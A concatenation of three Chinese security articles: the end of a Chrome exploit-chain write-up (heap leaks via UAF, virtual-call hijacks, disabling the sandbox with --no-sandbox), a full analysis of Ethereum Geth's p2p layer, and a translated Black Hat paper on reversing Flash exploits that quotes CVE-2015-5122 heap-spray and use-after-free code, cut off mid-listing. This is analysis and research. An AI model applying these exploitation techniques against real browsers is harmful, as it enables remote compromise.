在ChromeMainDelegate::CreateContentClient函数执行后会将堆喷数据地址+8偏移处的地址读出并再读出该地址0xD0偏移处的地址并调用，此处对应GetBrowserContext虚函数调用。于是可以将ChromeMainDelegate虚表地址-(0xD0-0x70)填入堆喷数据中当GetBrowserContext被调用时会再次转入ChromeMainDelegate::CreateContentClient函数
最后在调用虚函数IsOffTheRecord时需要找到一个可以泄露堆地址的函数填入相应位置，通过查找找到符合条件的虚函数content::WebContentsImpl::GetWakeLockContext，由于此函数还会将this指针填入堆地址+0x8偏移处，所以也可以为后续的this地址泄露提供方便。
此函数会创建一块内存用作对象内存，并会将此内存地址写入this+0x10+0x650偏移处，也就是堆喷占位数据的0x660偏移处
但要注意的是content::WebContentsImpl::GetWakeLockContext函数会先去判断this+0x10+0x650偏移处是否为0，如果为0才可以进行创建堆内存并写入this+0x10+0x650的操作
通过以上操作，在经过`render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()`后就可以在堆喷占位数据的0x660偏移处得到一个需要的堆地址
#### this地址泄露
由于在上一步操作中已经泄露了堆地址并且还将this指针写入了堆地址+0x8偏移处，所以可以利用前面泄露堆地址的思路将UAF漏洞再触发一次，并把之前拿到的泄露的堆地址写入堆喷占位数据的对应偏移处即可获取到this指针，由于前面的漏洞利用this指针正好指向我们可控的堆喷占位数据，拿到了this地址也就得到了当前可控数据的地址。继续将ChromeMainDelegate::CreateContentClient函数放入GetProcess与GetBrowserContext函数对应的调用位置，现在只需要再找到一个符合条件可以将this指针从堆地址中获取到的函数，通过查找找到`anonymous
namespace'::DictionaryIterator::Start`函数正好符合要求。
结合调试再通过与泄露堆地址一样再次触发UAF漏洞便可得到this指针
### 沙盒逃逸
沙河逃逸的思路比较简单，通过回调去执行SetCommandLineFlagsForSandboxType函数将--no-sandbox参数添加到current_process_commandline_中。首先需要找到一个可以调用回调函数的虚函数，通过查找找到content::responsiveness::MessageLoopObserver::DidProcessTask函数
现在再找到一个可以传递多个参数的回调函数，类似如下形式的
然后将SetCommandLineFlagsForSandboxType函数地址填入被泄露了地址的buffer的相应偏移处就可以将沙箱关闭，但调用SetCommandLineFlagsForSandboxType函数还需要先得到全局变量current_process_commandline_
通过extensions::SizeConstraints::set_minimum_size函数将current_process_commandline_中保存的指针拷贝进前文中已经被泄露地址的可控地址中。
最后调用SetCommandLineFlagsForSandboxType函数，将--no-sandbox(0)标志添加进全局变量current_process_commandline_中
最后生成新的渲染器过程（例如，使用iframe到其他受控原点或开启新的Tab），并再次使用渲染器漏洞利用(刷新)即可成功。
## 总结
* 21224漏洞触发后在触发1062091前浏览器就产生崩溃——手动delete清理掉oob数组
* 在开启mojo时修改RenderFrameImpl对象相应变量导致页面崩溃——21224中构造的读写原语在循环体中同时频繁读写会导致此问题，去掉部分不必要的读或写操作
* 将相应成员变量值写入对应的RenderFrameImpl对象偏移后mojo依然没有开启——在 81.0.4044.0版本chromium中在写入enabled_bindings_时需要将g_frame_map中拿到的RenderFrameImpl对象地址加0x68再加enabled_bindings_所在偏移，而IsMainFrame中用到的成员变量就在g_frame_map中拿到的RenderFrameImpl对象的0x88偏移处。
* 原POC中用到的MojoInterfaceInterceptor需要开启MojoJSTest绑定才能使用——使用其他方法传递sub frame中的句柄给main frame，例如在sub frame的onload事件中使用contentWindow获取其句柄再传递给main frame，但此方法直接在本地执行时会出现跨域的问题需要起一个服务器去访问执行。
* * * | 社区文章 |
作者：0x7F@知道创宇404区块链安全研究团队
时间：2018年7月12日
### 0x00 前言
区块链的火热程度一直以直线上升，其中以区块链 2.0 —— 以太坊为代表，不断的为传统行业带来革新，同时也推动区块链技术发展。
区块链是一种分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式，这是一个典型的去中心化应用，建立在 p2p
网络之上；本文以学习和分析以太坊运作原理为目的，将以太坊网络架构作为一个切入点，逐步深入分析，最终对以太坊网络架构有个大致的了解。
通过学习以太坊网络架构，可以更容易的对网络部分的源码进行审计，便于后续的协议分析，来发现未知的安全隐患；除此之外，目前基于 p2p
网络的成熟的应用非常少，借助分析以太坊网络架构的机会，可以学习一套成熟的 p2p 网络运行架构。
本文侧重于数据链路的建立和交互，不涉及网络模块中的节点发现、区块同步、广播等功能模块。
### 0x01 目录
1. Geth 启动
2. 网络架构
3. 共享密钥
4. RLPXFrameRW 帧
5. RLP 编码
6. LES 协议
7. 总结
其中第 3、4、5 三个小节是第 2 节「网络架构」的子内容，作为详细的补充。
### 0x02 Geth 启动
在介绍以太坊网络架构之前，首先简单分析下 Geth 的整体启动流程，便于后续的理解和分析。
**以太坊源码目录**
tree -d -L 1
.
├── accounts 账号相关
├── bmt 实现二叉merkle树
├── build 编译生成的程序
├── cmd geth程序主体
├── common 工具函数库
├── consensus 共识算法
├── console 交互式命令
├── containers docker 支持相关
├── contracts 合约相关
├── core 以太坊核心部分
├── crypto 加密函数库
├── dashboard 统计
├── eth 以太坊协议
├── ethclient 以太坊RPC客户端
├── ethdb 底层存储
├── ethstats 统计报告
├── event 事件处理
├── internal RPC调用
├── les 轻量级子协议
├── light 轻客户端部分功能
├── log 日志模块
├── metrics 服务监控相关
├── miner 挖矿相关
├── mobile geth的移动端API
├── node 接口节点
├── p2p p2p网络协议
├── params 一些预设参数值
├── rlp RLP系列化格式
├── rpc RPC接口
├── signer 签名相关
├── swarm 分布式存储
├── tests 以太坊JSON测试
├── trie Merkle Patricia实现
├── vendor 一些扩展库
└── whisper 分布式消息
35 directories
**初始化工作**
Geth 的 `main()` 函数非常的简洁，通过 `app.Run()` 来启动程序：
[./cmd/geth/main.go]
func main() {
if err := app.Run(os.Args); err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
其简洁是得力于 Geth 使用了 `gopkg.in/urfave/cli.v1` 扩展包，该扩展包用于管理程序的启动，以及命令行解析，其中 `app`
是该扩展包的一个实例。
在 Go 语言中，在有 `init()` 函数的情况下，会默认先调用 `init()` 函数，然后再调用 `main()` 函数；Geth 几乎在
`./cmd/geth/main.go#init()` 中完成了所有的初始化操作：设置程序的子命令集，设置程序入口函数等，下面看下 `init()`
函数片段：
[./cmd/geth/main.go]
func init() {
// Initialize the CLI app and start Geth
app.Action = geth
app.HideVersion = true // we have a command to print the version
app.Copyright = "Copyright 2013-2018 The go-ethereum Authors"
app.Commands = []cli.Command{
// See chaincmd.go:
initCommand,
importCommand,
exportCommand,
importPreimagesCommand,
...
}
...
}
在以上代码中，预设了 `app` 实例的值，其中 `app.Action = geth` 作为 `app.Run()` 调用的默认函数，而
`app.Commands` 保存了子命令实例，通过匹配命令行参数可以调用不同的函数(而不调用 `app.Action`)，使用 Geth
不同的功能，如：开启带控制台的 Geth、使用 Geth 创造创世块等。
**节点启动流程**
无论是通过 `geth()` 函数还是其他的命令行参数启动节点，节点的启动流程大致都是相同的，这里以 `geth()` 为例：
[./cmd/geth/main.go]
func geth(ctx *cli.Context) error {
node := makeFullNode(ctx)
startNode(ctx, node)
node.Wait()
return nil
}
其中 `makeFullNode()` 函数将返回一个节点实例，然后通过 `startNode()` 启动。在 Geth
中，每一个功能模块都被视为一个服务，每一个服务的正常运行驱动着 Geth 的各项功能；`makeFullNode()`
通过解析命令行参数，注册指定的服务。以下是 `makeFullNode()` 代码片段：
[./cmd/geth/config.go]
func makeFullNode(ctx *cli.Context) *node.Node {
stack, cfg := makeConfigNode(ctx)
utils.RegisterEthService(stack, &cfg.Eth)
if ctx.GlobalBool(utils.DashboardEnabledFlag.Name) {
utils.RegisterDashboardService(stack, &cfg.Dashboard, gitCommit)
}
...
// Add the Ethereum Stats daemon if requested.
if cfg.Ethstats.URL != "" {
utils.RegisterEthStatsService(stack, cfg.Ethstats.URL)
}
return stack
}
然后通过 `startNode()` 启动各项服务并运行节点。以下是 Geth 启动流程图：
每个服务正常运行，相互协作，构成了 Geth：
### 0x03 网络架构
通过 `main()` 函数的调用，最终启动了 p2p 网络，这一小节对网络架构做详细的分析。
**三层架构**
以太坊是去中心化的数字货币系统，天然适用 p2p 通信架构，并且在其上还支持了多种协议。在以太坊中，p2p
作为通信链路，用于负载上层协议的传输，可以将其分为三层结构：
1. 最上层是以太坊中各个协议的具体实现，如 eth 协议、les 协议。
2. 第二层是以太坊中的 p2p 通信链路层，主要负责启动监听、处理新加入连接或维护连接，为上层协议提供了信道。
3. 最下面的一层，是由 Go 语言所提供的网络 IO 层，也就是对 `TCP/IP` 中的网络层及以下的封装。
**p2p 通信链路层**
从最下层开始逐步分析，第三层是由 Go 语言所封装的网络 IO 层，这里就跳过了，直接分析 p2p 通信链路层。p2p 通信链路层主要做了三项工作：
1. 由上层协议的数据交付给 p2p 层后，首先通过 RLP 编码。
2. RLP 编码后的数据将由共享密钥进行加密，保证通信过程中数据的安全。
3. 最后，将数据流转换为 RLPXFrameRW 帧，便于数据的加密传输和解析。
(以上三点由下文做分析)
**p2p 源码分析**
p2p 同样作为 Geth 中的一项服务，通过「0x03 Geth 启动」中 `startNode()` 启动，p2p 通过其 `Start()`
函数启动。以下是 `Start()` 函数代码片段：
[./p2p/server.go]
func (srv *Server) Start() (err error) {
...
if !srv.NoDiscovery {
...
}
if srv.DiscoveryV5 {
...
}
...
// listen/dial
if srv.ListenAddr != "" {
if err := srv.startListening(); err != nil {
return err
}
}
...
go srv.run(dialer)
...
}
上述代码中，设置了 p2p 服务的基础参数，并根据用户参数开启节点发现(节点发现不在本文的讨论范围内)，随后开启 p2p
服务监听，最后开启单独的协程用于处理报文。以下分为服务监听和报文处理两个模块来分析。
###### 服务监听
通过 `startListening()` 的调用进入到服务监听的流程中，随后在该函数中调用 `listenLoop` 用一个无限循环处理接受连接，随后通过
`SetupConn()` 函数为正常的连接建立 p2p 通信链路。在 `SetupConn()` 中调用 `setupConn()` 来做具体工作，以下是
`setupConn()` 的代码片段：
[./p2p/server.go]
func (srv *Server) setupConn(c *conn, flags connFlag, dialDest *discover.Node) error {
...
if c.id, err = c.doEncHandshake(srv.PrivateKey, dialDest); err != nil {
srv.log.Trace("Failed RLPx handshake", "addr", c.fd.RemoteAddr(), "conn", c.flags, "err", err)
return err
}
...
phs, err := c.doProtoHandshake(srv.ourHandshake)
...
}
`setupConn()` 函数中主要由 `doEncHandshake()`
函数与客户端交换密钥，并生成临时共享密钥，用于本次通信加密，并创建一个帧处理器 `RLPXFrameRW`；再调用 `doProtoHandshake()`
函数为本次通信协商遵循的规则和事务，包含版本号、名称、容量、端口号等信息。在成功建立通信链路，完成协议握手后，处理流程转移到报文处理模块。
下面是服务监听函数调用流程：
###### 报文处理
`p2p.Start()` 通过调用 `run()` 函数处理报文，`run()`
函数用无限循环等待事务，比如上文中，新连接完成握手包后，将由该函数来负责。`run()`
函数中支持多个命令的处理，包含的命令有服务退出清理、发送握手包、添加新节点、删除节点等。以下是 `run()` 函数结构：
[./p2p/server.go]
func (srv *Server) run(dialstate dialer) {
...
for {
select {
case <-srv.quit: ...
case n := <-srv.addstatic: ...
case n := <-srv.removestatic: ...
case op := <-srv.peerOp: ...
case t := <-taskdone: ...
case c := <-srv.posthandshake: ...
case c := <-srv.addpeer: ...
case pd := <-srv.delpeer: ...
}
}
}
为了理清整个网络架构，本文直接讨论 `addpeer`
分支：当一个新节点添加服务器节点时，将进入到该分支下，根据之前的握手信息，为上层协议生成实例，然后调用 `runPeer()`，最终通过 `p.run()`
进入报文的处理流程中。
继续分析 `p.run()` 函数，其开启了读取数据和 `ping` 两个协程，用于处理接收报文和维持连接，随后通过调用
`startProtocols()` 函数，调用指定协议的 `Run()` 函数，进入具体协议的处理流程。
下面是报文处理函数调用流程
###### p2p 通信链路交互流程
这里整体看下 p2p 通信链路的处理流程，以及对数据包的封装。
### 0x04 共享密钥
在 p2p 通信链路的建立过程中，第一步就是协商共享密钥，该小节说明下密钥的生成过程。
**迪菲-赫尔曼密钥交换**
p2p 网络中使用到的是「迪菲-赫尔曼密钥交换」技术[1]。迪菲-赫尔曼密钥交换（英语：Diffie–Hellman key
exchange，缩写为D-H） 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道创建起一个密钥。
简单来说，链接的两方生成随机的私钥，通过随机的私钥得到公钥。然后双方交换各自的公钥，这样双方都可以通过自己随机的私钥和对方的公钥来生成一个同样的共享密钥(shared-secret)。后续的通讯使用这个共享密钥作为对称加密算法的密钥。其中对于 A、B公私钥对满足这样的数学等式：`ECDH(A私钥, B公钥) ==
ECDH(B私钥, A公钥)`。
**共享密钥生成**
在 p2p 网络中由 `doEncHandshake()` 方法完成密钥的交换和共享密钥的生成工作。下面是该函数的代码片段：
[./p2p/rlpx.go]
func (t *rlpx) doEncHandshake(prv *ecdsa.PrivateKey, dial *discover.Node) (discover.NodeID, error) {
...
if dial == nil {
sec, err = receiverEncHandshake(t.fd, prv, nil)
} else {
sec, err = initiatorEncHandshake(t.fd, prv, dial.ID, nil)
}
...
t.rw = newRLPXFrameRW(t.fd, sec)
..
}
如果作为服务端监听连接，收到新连接后调用 `receiverEncHandshake()` 函数，若作为客户端向服务端发起请求，则调用
`initiatorEncHandshake()`函数；两个函数区别不大，都将交换密钥，并生成共享密钥，`initiatorEncHandshake()`
仅仅是作为发起数据的一端；最终执行完后，调用 `newRLPXFrameRW()` 创建帧处理器。
从服务端的角度来看，将调用 `receiverEncHandshake()` 函数来创建共享密钥，以下是该函数的代码片段：
[./p2p/rlpx.go]
func receiverEncHandshake(conn io.ReadWriter, prv *ecdsa.PrivateKey, token []byte) (s secrets, err error) {
authPacket, err := readHandshakeMsg(authMsg, encAuthMsgLen, prv, conn)
...
authRespMsg, err := h.makeAuthResp()
...
if _, err = conn.Write(authRespPacket); err != nil {
return s, err
}
return h.secrets(authPacket, authRespPacket)
}
共享密钥生成的过程：
1. 在完成 TCP 连接后，客户端使用服务端的公钥(node_id)加密，发送自己的公钥和包含临时公钥的签名，还有一个随机值 nonce。
2. 服务端收到数据，获得客户端的公钥，使用椭圆曲线算法从签名中获得客户端的临时公钥；服务端将自己的临时公钥和随机值 nonce 用客户端的公钥加密发送。
3. 通过上述两步的密钥交换后，对于客户端目前有自己的临时公私钥对和服务端的临时公钥，使用椭圆曲线算法从自己的临时私钥和服务端的临时公钥计算得出共享密钥；同理，服务端按照相同的方式也可以计算出共享密钥。
以下是共享密钥生成图示：
得出共享密钥后，客户端和服务端就可以使用共享密钥做对称加密，完成对通信的加密。
### 0x05 RLPXFrameRW 帧
在共享密钥生成完毕后，初始化了 `RLPXFrameRW` 帧处理器；其 `RLPXFrameRW`
帧的目的是为了在单个连接上支持多路复用协议。其次，由于帧分组的消息为加密数据流产生了天然的分界点，更便于数据的解析，除此之外，还可以对发送的数据进行验证。
`RLPXFrameRW` 帧包含了两个主要函数，`WriteMsg()` 用于发送数据，`ReadMsg()`用于读取数据；以下是
`WriteMsg()` 的代码片段：
[./p2p/rlpx.go]
func (rw *rlpxFrameRW) WriteMsg(msg Msg) error {
...
// write header
headbuf := make([]byte, 32)
...
// write header MAC
copy(headbuf[16:], updateMAC(rw.egressMAC, rw.macCipher, headbuf[:16]))
if _, err := rw.conn.Write(headbuf); err != nil {
return err
}
// write encrypted frame, updating the egress MAC hash with
// the data written to conn.
tee := cipher.StreamWriter{S: rw.enc, W: io.MultiWriter(rw.conn, rw.egressMAC)}
if _, err := tee.Write(ptype); err != nil {
return err
}
if _, err := io.Copy(tee, msg.Payload); err != nil {
return err
}
if padding := fsize % 16; padding > 0 {
if _, err := tee.Write(zero16[:16-padding]); err != nil {
return err
}
}
// write frame MAC. egress MAC hash is up to date because
// frame content was written to it as well.
fmacseed := rw.egressMAC.Sum(nil)
mac := updateMAC(rw.egressMAC, rw.macCipher, fmacseed)
_, err := rw.conn.Write(mac)
return err
}
结合以太坊 RLPX 的文档[2]和上述代码，可以分析出 `RLPXFrameRW` 帧的结构。在一般情况下，发送一次数据将产生五个数据包：
header // 包含数据包大小和数据包源协议
header_mac // 头部消息认证
frame // 具体传输的内容
padding // 使帧按字节对齐
frame_mac // 用于消息认证
接收方按照同样的格式对数据包进行解析和验证。
### 0x06 RLP 编码
RLP编码 (递归长度前缀编码)提供了一种适用于任意二进制数据数组的编码，RLP 已经成为以太坊中对对象进行序列化的主要编码方式，便于对数据结构的解析。比起
json 数据格式，RLP 编码使用更少的字节。
在以太坊的网络模块中，所有的上层协议的数据包要交互给 p2p 链路时，都要首先通过 RLP 编码；从 p2p 链路读取数据，也要先进行解码才能操作。
以太坊中 RLP 的编码规则[3]。
### 0x07 LES 协议层
这里以 LES 协议为上层协议的代表，分析在以太坊网络架构中应用协议的工作原理。
LES 服务由 Geth 初始化时启动，调用源码 les 下的 `NewLesServer()` 函数开启一个 LES 服务并初始化，并通过
`NewProtocolManager()` 实现以太坊子协议的接口函数。其中 `les/handle.go` 包含了 LES 服务交互的大部分逻辑。
回顾上文 p2p 网络架构，最终 p2p 底层通过 `p.Run()` 启动协议，在 LES 协议中，也就是调用 LES 协议的 `Run()` 函数：
[./les/handle.go#NewProtocolManager()]
Run: func(p *p2p.Peer, rw p2p.MsgReadWriter) error {
...
select {
case manager.newPeerCh <- peer:
...
err := manager.handle(peer)
...
case <-manager.quitSync:
...
}
}
可以看到重要的处理逻辑都被包含在 `handle()` 函数中，`handle()` 函数的主要功能包含 LES 协议握手和消息处理，下面是
`handle()` 函数片段：
[./les/handle.go]
func (pm *ProtocolManager) handle(p *peer) error {
...
if err := p.Handshake(td, hash, number, genesis.Hash(), pm.server); err != nil {
p.Log().Debug("Light Ethereum handshake failed", "err", err)
return err
}
...
for {
if err := pm.handleMsg(p); err != nil {
p.Log().Debug("Light Ethereum message handling failed", "err", err)
return err
}
}
}
在 `handle()` 函数中首先进行协议握手，其实现函数是
`./les/peer.go#Handshake()`，通过服务端和客户端交换握手包，互相获取信息，其中包含有：协议版本、网络号、区块头哈希、创世块哈希等值。随后用无线循环处理通信的数据，以下是报文处理的逻辑：
[./les/handle.go]
func (pm *ProtocolManager) handleMsg(p *peer) error {
msg, err := p.rw.ReadMsg()
...
switch msg.Code {
case StatusMsg: ...
case AnnounceMsg: ...
case GetBlockHeadersMsg: ...
case BlockHeadersMsg: ...
case GetBlockBodiesMsg: ...
...
}
}
处理一个请求的详细流程是：
1. 使用 `RLPXFrameRW` 帧处理器，获取请求的数据。
2. 使用共享密钥解密数据。
3. 使用 `RLP` 编码将二进制数据序列化。
4. 通过对 `msg.Code` 的判断，执行相应的功能。
5. 对响应数据进行 `RLP` 编码，共享密钥加密，转换为 `RLPXFrameRW`，最后发送给请求方。
下面是 LES 协议处理流程：
### 0x08 总结
通过本文的分析，对以太坊网络架构有了大致的了解，便于后续的分析和代码审计；在安全方面来讲，由协议所带的安全问题往往比本地的安全问题更为严重，应该对网络层面的安全问题给予更高的关注。
从本文也可以看到，以太坊网络架构非常的完善，具有极高的鲁棒性，这也证明了以太坊是可以被市场所认可的区块链系统。除此之外，由于 p2p
网络方向的资料较少，以太坊的网络架构也可以作为学习 p2p 网络的资料。
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
* * *
References:
[1] WIKI.DH： <https://en.wikipedia.org/wiki/Diffie–Hellman_key_exchange>
[2] Github.rlpx： <https://github.com/ethereum/devp2p/blob/master/rlpx.md>
[3] WIKI.RLP： <https://github.com/ethereum/wiki/wiki/RLP>
[4] Github.ZtesoftCS： <https://github.com/ZtesoftCS/go-ethereum-code-analysis>
[5] CSDN： <https://blog.csdn.net/weixin_41814722/article/details/80680749>
[6] CSDN： <https://blog.csdn.net/itcastcpp/article/details/80305636>
[7] ETHFANS： <https://ethfans.org/bob/articles/864>
[8] BITSHUO： <https://bitshuo.com/topic/5975fbb14a7a061b785db8d5>
[9] Github.go-ethereum： <https://github.com/ethereum/go-ethereum>
* * * | 社区文章 |
原文链接：<https://www.blackhat.com/docs/us-16/materials/us-16-Oh-The-Art-of-Reverse-Engineering-Flash-Exploits-wp.pdf>
原作者：[email protected]
译： **xd0ol1 (知道创宇404实验室)**
### 0 关于Adobe Flash Player的漏洞
随着近来Java插件和Web浏览器在安全防护措施上的提升，攻击者们开始重新关注起Adobe Flash Player来，并将其视作主要的漏洞利用攻击目标。
多年来，借助Vector结构的corruption一直是实现Flash漏洞利用的首选方案。Vector是Adobe Flash
Player中的一个数据结构，它以非常简洁的形式保存在native空间中，我们可以很容易的操纵此结构而不必担心其它字段会被破坏。而在引入Vector的长度保护后，攻击者们又转向了ByteArray结构的corruption（CVE-2015-7645）。
另一方面，CFG（Control Flow Guard）保护或者又叫CFI（Control Flow Integrity）保护是由Windows
8.1系统引入的，最新的Adobe Flash
Player中也用到了此技术。对exploit开发者来说利用对象vftable的corruption已经是很常见的技术了，CFG就是针对此提出的缓解策略，它将在vftable中的虚函数调用前进行有效性的判断，如果调用未被确认则会退出进程。
### 1 逆向分析方法
分析Adobe Flash
Player的exploit是一件非常具有挑战性的工作，由于缺少高效的字节码调试工具，这使得漏洞调试对安全研究人员来说简直就是一场噩梦，并且exploit的混淆处理通常都是一个单向的过程，任何试图反编译它们的行为都会产生警告。当然，确实也存在很多好用的反编译器，但它们通常在某些点上会执行失败，而且攻击者经常想出新的混淆方案来保护他们的exploit不被逆向。更糟的是除非你能获取源码，不然你还真没什么好的方法来验证反编译结果的准确性。由于反编译时的这种限制，在逆向过程中通常会用到多种分析工具及技术。
#### 1.1 反编译工具
事实上，还是有许多针对SWF文件的商业版和开源版反编译器。其中，[JPEXS Free Flash
Decompiler](https://github.com/jindrapetrik/jpexs-decompiler)是开源中较有用的反编译器之一，而对于商业版来说，[Action Script
Viewer](http://www.buraks.com/asv/)的反编译结果要好得多。限制这些工具的根本原因在于SWF文件中存在大量的混淆代码，这使得反编译几近不可能或者结果中包含有严重的错误。此外，一些反编译器只给出了它们能生成的最好结果，但对可能的错误却从不提供警告。
下面为其中一款反编译器处理过程中产生的错误，当出现“unresolved jump”错误时，在这附近的反编译结果往往不是那么准确。
for (;_local_9 < _arg_1.length;(_local_6 = _SafeStr_128(_local_5, 0x1E)), goto _label_2, if (_local_15 < 0x50) goto _label_1;
, (_local_4 = _SafeStr_129(_local_4, _local_10)), for (;;)
{
_local_8 = _SafeStr_129(_local_8, _local_14);
(_local_9 = (_local_9 + 0x10));
//unresolved jump <- unresolved jump error
// @239 jump @254
图1 ASV反编译器的“unresolved jump”错误
下列给出了错误发生处的反汇编结果，可以看到大部分是针对反编译器进行混淆的花指令。对未初始化寄存器用于产生带有垃圾指令代码块的情况，大多数反编译器还不能进行很好的识别。
getlocal3
getlocal 15 ; 0x0F 0x0F
getlocal 17 ; 0x11 0x11 // register 17 is never initialized
iftrue L511 ; 0xFF 0xFF // This condition is always false
jump L503 ; 0xF7 0xF7
; 0xD7 <- Start of garbage code (this code will be never reached)
; 0xC2
; 0x0B
; 0xC2
; 0x04
; 0x73
; 0x92
; 0x0A
; 0x08
; 0x0F
; 0x85
; 0x64
; 0x08
; 0x0C
L503:
pushbyte 8 ; 0x08 0x08 // All garbage code
getlocal 17 ; 0x11 0x11
iffalse L510 ; 0xFE 0xFE
negate_i
increment_i
pushbyte 33 ; 0x21 0x21
multiply_i
L510:
subtract
L511:
getproperty MultinameL([PrivateNamespace("*", "override const/class#0"), PackageNamespace("", "#0"), PrivateNamespace("*",
"override const/class#1"), PackageInternalNs(""), Namespace("http://adobe.com/AS3/2006/builtin"), ProtectedNamespace("override
const"), StaticProtectedNs("override const")]) ; 0x20 0x20
图2 花指令
#### 1.2 反汇编工具
另一种分析方法是借助反汇编器。[RABCDAsm](https://github.com/CyberShadow/RABCDAsm)是一款非常强大的反汇编器，它可以从SWF文件中提取出AVM2（ActionScript
Virtual Machine 2）中使用的ABC（ActionScript Byte
Code）字段，并反汇编其中的字节码。更多有关AVM2的指令信息，请参考[ActionScript Virtual Machine 2 Overview
from
Adobe](https://www.adobe.com/content/dam/Adobe/en/devnet/actionscript/articles/avm2overview.pdf)。
不过我们发现最新的Angler攻击包中会通过特定代码来实现SWF文件的反反汇编，例如给lookupswitch指令赋一个很大的case_count值但跳转地址中却不包含实际的代码，此方法就可用来对诸如RABCDasm这样的工具进行反反汇编处理。
L4:
lookupswitch L6-42976, []
图3 恶意的lookupswitch指令
下述为readMethodBody函数中针对此特定情况的补丁代码，它会过滤掉case_count值大于0xffff的所有lookupswitch指令。
case OpcodeArgumentType.SwitchTargets:
- instruction.arguments[i].switchTargets.length = readU30()+1;
- foreach (ref label; instruction.arguments[i].switchTargets)
+ int length = readU30();
+ if (length<0xffff)
{
- label.absoluteOffset = instructionOffset + readS24();
- queue(label.absoluteOffset);
+ instruction.arguments[i].switchTargets.length = length+1;
+ foreach (ref label; instruction.arguments[i].switchTargets)
+ {
+ label.absoluteOffset = instructionOffset + readS24();
+ queue(label.absoluteOffset);
+ }
+ break;
+ }
+ else
+ {
+ writefln("Abnormal SwitchTargets length: %x", length);
}
- break;
图4 readMethodBody函数中的补丁
同时，由于我们也可以通过RABCDAsm来编译AS脚本，所以如果在汇编文件中有发现恶意ABC字段生成的无效lookupswitch指令，我们也应该忽略它们。writeMethodBody函数中的补丁代码如下。
case OpcodeArgumentType.SwitchTargets:
- if (instruction.arguments[i].switchTargets.length < 1)
- throw new Exception("Too few switch cases");
- writeU30(instruction.arguments[i].switchTargets.length-1);
- foreach (off; instruction.arguments[i].switchTargets)
+ if (instruction.arguments[i].switchTargets.length > 0)
{
- fixups ~= Fixup(off, pos, instructionOffset);
- writeS24(0);
+ //throw new Exception("Too few switch cases");
+ writeU30(instruction.arguments[i].switchTargets.length-1);
+ foreach (off; instruction.arguments[i].switchTargets)
+ {
+ fixups ~= Fixup(off, pos, instructionOffset);
+ writeS24(0);
+ }
}
break;
}
图5 writeMethodBody函数中的补丁
#### 1.3 FlashHacker
[FlashHacker](https://github.com/ohjeongwook/FlashHacker)是一个开源的项目，它最初是基于ShmooCon
2012大会上提出的[相关概念](https://github.com/ohjeongwook/Publications/blob/master/Jeong_Wook_Oh_AVM%2520Inception%2520-%2520ShmooCon2012.pdf)而开发的原型。在此之上我们进行了二次开发，使之可以对更多的AVM字节码元素进行插桩，并提供了更详细的过滤选项。在进行AVM字节码插桩时，其中的一大挑战是由于CPU密集型计算而导致的性能下降。例如，借助插桩代码进行的堆喷操作通常会由于Flash
Player中的超时机制导致漏洞利用的失败。但我们仍然可以通过过滤这些CPU密集型计算的代码来执行精确操作，插桩技术通常适用于RCA（root cause
analysis）分析以及我们最近进行的有关保护措施绕过方面的研究。
#### 1.4 AVMPlus源码
要是能获取当前分析程序的源码，那么这无疑很有优势。我们可以在[AVMplus](https://github.com/adobe-flash/avmplus)项目中查看AVM的开源实现，这对理解一些漏洞利用程序的操作会很有帮助，我们甚至发现一些利用程序直接使用了AVMplus中的代码，比如其中的MMgc实现部分。
#### 1.5 Native层Flash调试
此外，除非我们能获取Flash程序的符号信息，否则在native层对Flash漏洞或exploit的调试都将是极富挑战性的。
### 2 RW primitives
“read/write
primitives”是指exploit中用于实现内存读写的对象或函数，现今的漏洞攻击通常需要借此来绕过ASLR或DEP等保护机制。而从防御者的角度来看，如果能知道exploit中所利用的RW
primitives，那么将有助于弄清exploit是采用何种方式来绕过诸如CFG这样的保护措施。
#### 2.1 Vector结构的corruption
自从CVE-2013-0634中引入Lady
Boyle的利用方式后，对Vector结构的corruption事实上就成了Flash漏洞利用的标准，甚至一些IE的漏洞（CVE-2013-3163，CVE-2014-0322和CVE-2014-1776）也用到了此方法。有关IE中Vector结构的利用详情，可以参考Chun
Feng和Elia
Florio所发的[文章](https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-FengFlorio.pdf)。
下述的CVE-2015-5122（TextLine的UAF漏洞）利用代码就是通过标准的Vector结构corruption来实现RW
primitives，当把Vector.\和TextLine对象布局到内存中的相邻位置后，就可以触发use-after-free了。在此情况下，通过正常的Vector对象赋值操作就可将相邻Vector对象的length字段置为0x40000000。因此，这个corrupt后的Vector结构能被用作RW
primitives。
public class MyClass extends MyUtils
{
...
static var _mc:MyClass;
static var _vu:Vector.<uint>;
static var LEN40:uint = 0x40000000;
static function TryExpl()
{
...
_arLen1 = (0x0A * 0x03);
_arLen2 = (_arLen1 + (0x04 * 0x04));
_arLen = (_arLen2 + (0x0A * 0x08));
_ar = new Array(_arLen);
_mc = new MyClass();
...
_vLen = ((0x0190 / 0x04) - 0x02);
while (i < _arLen1)
{
_ar[i] = new Vector.<uint>(_vLen);
i = (i + 1);
};
图6 第一次Vector对象的喷射
i = _arLen2;
while (i < _arLen)
{
_ar[i] = new Vector.<uint>(0x08);
_ar[i][0x00] = i;
i = (i + 1);
};
i = _arLen1;
图7 第二次Vector对象的喷射
while (i < _arLen2)
{
_ar[i] = _tb.createTextLine(); //_tb is TextBlock object
i = (i + 1);
};
i = _arLen1;
while (i < _arLen2)
{
_ar[i].opaqueBackground = 0x01;
i = (i + 1);
};
图8 TextLine对象的喷射
在完成Vector和TextLine对象的喷射操作后，该exploit会将valueOf2赋给自身MyClass类中的prototype对象。
MyClass.prototype.valueOf = valueOf2;
_cnt = (_arLen2 - 0x06);
_ar[_cnt].opaqueBackground = _mc; // Trigger use-after-free vulnerability (static var _mc:MyClass)
图9 触发UAF漏洞
接着，当_mc变量赋给opaqueBackground时valueOf2函数会被调用。
static function valueOf2()
{
var i:int;
try
{
if (++_cnt < _arLen2)
{
_ar[_cnt].opaqueBackground = _mc;
}
else
{
Log("MyClass.valueOf2()");
i = 0x01;
while (i <= 0x05)
{
